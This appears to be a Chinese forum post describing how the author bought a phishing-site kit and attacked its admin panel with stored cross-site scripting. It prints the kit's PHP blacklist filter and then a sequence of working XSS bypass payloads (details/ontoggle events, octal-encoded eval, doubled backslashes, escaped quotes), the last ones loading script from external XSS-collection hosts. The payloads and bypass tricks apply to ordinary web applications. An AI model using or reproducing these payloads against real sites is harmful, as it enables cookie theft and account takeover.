攻破黑市最流行的钓鱼网站
这种类型的钓鱼网站最少有上百个了~
我风在指尖今天要为民除害~~~
自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究
钓鱼站是这样的

看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS
过滤xss 脚本如下
[AppleScript] 纯文本查看 复制代码
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<?PHPfunction RemoveXSS($val) { //==========================// // // //随风 程序开发 QQ957223651 // // 此类用来防止XSS // //==========================// $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); } $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $ra = array_merge($ra1, $ra2); $found = true; while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[xX]0{0,8}([9ab]);)'; $pattern .= '|'; $pattern .= '|(&#{0,8}([9|10|13]);)'; $pattern .= ')*'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); $val = preg_replace($pattern, $replacement, $val); if ($val_before == $val) { $found = false; } } } return $val;}?> |
我们可以看到,能过滤的事件基本上都被对方过滤了
但是,像这种黑名单肯定都有不完善的地方没错
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")> |

然后我们进入到后台查看,却没有弹窗,这是为什么呢?


对比查看
完整的代码
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")> |
过滤后的代码
[AppleScript] 纯文本查看 复制代码
|
1
|
<details open=""141154145162164140140")"> </details> |
把\ 过滤了 那么我们加两重绕过试试
这段代码插进去试试看
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval("\\141\\154\\145\\162\\164\\140\\140")> |

进入后台
成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。
源代码应该为
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval(var s=document.createElement('script');s.src='http://xss.tv/XA';document.body.appendChild(s);)> |
直接放上去是不行的,我们要对其编码,使用JS8编码
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval("\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73")> |
然后把\改成\\ 绕过对方的过滤规则
[AppleScript] 纯文本查看 复制代码
|
1
|
</TD><details open ontoggle=eval("\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73")> |
但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入
那么只能不断的裁剪,不编码最终代码为
[AppleScript] 纯文本查看 复制代码
|
1
|
“<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> |
“ 是闭合掉前面的标签
<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> 是引用我们XSS站点的代码,对方没有过滤doucmnet,只过滤了script
现在我们插入试试

依然没有成功执行,在继续看看对方的源码

将其复制出来,看看到底是什么原因

首先script标签被打乱了,并且多了个” 号,这很好绕过
前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码
我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则
[AppleScript] 纯文本查看 复制代码
|
1
|
"<details/open/ontoggle=document.body.appendChild(document.createElement('\\163\\143\\162\\151\\160\\164')).src='http://www.baidu.com'> |
把script转换成JS8进制编码
把所有的” 号换成’ 号
把所有的” 号换成’ 号
这样构造
结果后台没有存储任何数据

后来经过别人指点才知道, 默认输入’单引号会被过滤,我们只能在’单引号前面加上\
最终的代码就是
[AppleScript] 纯文本查看 复制代码
|
1
|
"<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xss.sssie.com/FMD27h\'> |

然后自己进入后台查看~


浙公网安备 33010602011771号